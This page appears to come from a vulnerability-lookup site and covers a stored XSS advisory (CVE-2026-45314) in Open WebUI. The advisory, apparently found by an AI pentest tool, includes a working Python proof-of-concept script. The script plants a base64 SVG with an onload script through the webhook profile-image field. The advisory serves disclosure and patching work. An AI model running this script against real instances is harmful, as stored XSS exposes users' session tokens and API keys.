Vulnerability-Lookup

GHSA-3856-3VXQ-M6FC

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58

Summary

Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image

Details

As part of our research on improving our AI pentest, we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.

Summary

The channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.

Details

The server accepts data:image/svg+xml;base64,... values for profile_image_url when creating or updating a webhook. Later, GET /api/v1/channels/webhooks/{webhook_id}/profile/image detects data:image, base64-decodes it, derives the media type from the header (e.g., image/svg+xml), and returns a StreamingResponse with Content-Disposition: inline and media_type set to image/svg+xml. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.

PoC

Set up a new instance of Open WebUI and log in as admin
In the Admin Panel, enable Channels (Beta) and click Save
Create a low-privilege user in the Users tab
As the attacker, use the low-privilege user to run the following script:

import base64
import secrets

import requests

BASE_URL = "http://127.0.0.1:14000"
EMAIL = "low@local.test"
PASSWORD = "low"

CHANNEL_NAME_PREFIX = "xsswh-poc"
WEBHOOK_NAME = "xss-webhook-poc"
SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>'

if __name__ == "__main__":
    s = requests.Session()
    s.headers.update({"Content-Type": "application/json"})

    r = s.post(
        f"{BASE_URL}/api/v1/auths/signin",
        json={"email": EMAIL, "password": PASSWORD},
        timeout=30,
    )
    r.raise_for_status()
    s.headers["Authorization"] = f"Bearer {r.json()['token']}"

    r = s.post(
        f"{BASE_URL}/api/v1/channels/create",
        json={
            "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}",
            "type": "group",
            "user_ids": [],
            "group_ids": [],
        },
        timeout=30,
    )
    r.raise_for_status()
    channel_id = r.json()["id"]

    payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode()
    r = s.post(
        f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create",
        json={"name": WEBHOOK_NAME, "profile_image_url": payload},
        timeout=30,
    )
    r.raise_for_status()
    webhook_id = r.json()["id"]

    print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image")

This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:

http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image

Impact

Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.

Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.

Original Agent Report

app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

7.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-87"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:09Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "HIGH"
  },
  "details": "As part of our research on improving our [AI pentest](https://www.aikido.dev/attack/aipentest), we have uncovered the following issue in Open WebUI. We\u0027ve manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.\n\n### Summary\n\nThe channel webhook create/update flow accepts arbitrary `profile_image_url` values, including `data:image/svg+xml;base64,...` payloads. The profile image endpoint then decodes and serves this SVG as `image/svg+xml` without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.\n\n### Details\n\nThe server accepts `data:image/svg+xml;base64,...` values for `profile_image_url` when creating or updating a webhook. Later, `GET /api/v1/channels/webhooks/{webhook_id}/profile/image` detects `data:image`, base64-decodes it, derives the media type from the header (e.g., `image/svg+xml`), and returns a `StreamingResponse` with `Content-Disposition: inline` and `media_type` set to `image/svg+xml`. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.\n\n### PoC\n\n1. Set up a new instance of Open WebUI and log in as admin\n2. In the Admin Panel, enable *Channels (Beta)* and click Save\n3. Create a low-privilege user in the Users tab\n4. As the attacker, use the low-privilege user to run the following script:\n\n```py\nimport base64\nimport secrets\n\nimport requests\n\nBASE_URL = \"http://127.0.0.1:14000\"\nEMAIL = \"low@local.test\"\nPASSWORD = \"low\"\n\nCHANNEL_NAME_PREFIX = \"xsswh-poc\"\nWEBHOOK_NAME = \"xss-webhook-poc\"\nSVG_CANARY = \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(origin)\"\u003e\u003c/svg\u003e\u0027\n\nif __name__ == \"__main__\":\n    s = requests.Session()\n    s.headers.update({\"Content-Type\": \"application/json\"})\n\n    r = s.post(\n        f\"{BASE_URL}/api/v1/auths/signin\",\n        json={\"email\": EMAIL, \"password\": PASSWORD},\n        timeout=30,\n    )\n    r.raise_for_status()\n    s.headers[\"Authorization\"] = f\"Bearer {r.json()[\u0027token\u0027]}\"\n\n    r = s.post(\n        f\"{BASE_URL}/api/v1/channels/create\",\n        json={\n            \"name\": f\"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}\",\n            \"type\": \"group\",\n            \"user_ids\": [],\n            \"group_ids\": [],\n        },\n        timeout=30,\n    )\n    r.raise_for_status()\n    channel_id = r.json()[\"id\"]\n\n    payload = \"data:image/svg+xml;base64,\" + base64.b64encode(SVG_CANARY.encode()).decode()\n    r = s.post(\n        f\"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create\",\n        json={\"name\": WEBHOOK_NAME, \"profile_image_url\": payload},\n        timeout=30,\n    )\n    r.raise_for_status()\n    webhook_id = r.json()[\"id\"]\n\n    print(f\"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image\")\n```\n\nThis should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:\n\nhttp://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image\n\n\u003cimg width=\"1079\" height=\"222\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df\" /\u003e\n\n### Impact\n\nConditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.\n\nStored XSS enables arbitrary JavaScript execution in the context of the application\u0027s origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook\u0027s profile image, it remains active until removed.\n\n### Original Agent Report\n\n\u003cimg width=\"400\" alt=\"app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)\" src=\"https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df\" /\u003e",
  "id": "GHSA-3856-3vxq-m6fc",
  "modified": "2026-05-19T15:58:23Z",
  "published": "2026-05-14T20:18:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45314"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Open WebUI has XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image"
}

CVE-2026-45314 (GCVE-0-2026-45314)

Vulnerability from cvelistv5 – Published: 2026-05-15 21:31 – Updated: 2026-05-18 19:44

Title

Open WebUI: XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. This vulnerability is fixed in 0.9.3.

Severity

7.4 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-87 - Improper Neutralization of Alternate XSS Syntax

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.9.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45314",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-18T19:43:05.967674Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-18T19:44:49.427Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. This vulnerability is fixed in 0.9.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-87",
              "description": "CWE-87: Improper Neutralization of Alternate XSS Syntax",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-15T21:31:24.526Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc"
        }
      ],
      "source": {
        "advisory": "GHSA-3856-3vxq-m6fc",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI: XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45314",
    "datePublished": "2026-05-15T21:31:24.526Z",
    "dateReserved": "2026-05-11T20:50:30.538Z",
    "dateUpdated": "2026-05-18T19:44:49.427Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-3856-3VXQ-M6FC

Summary

Details

PoC

Impact

Original Agent Report

CVE-2026-45314 (GCVE-0-2026-45314)

Tags

Sightings

Nomenclature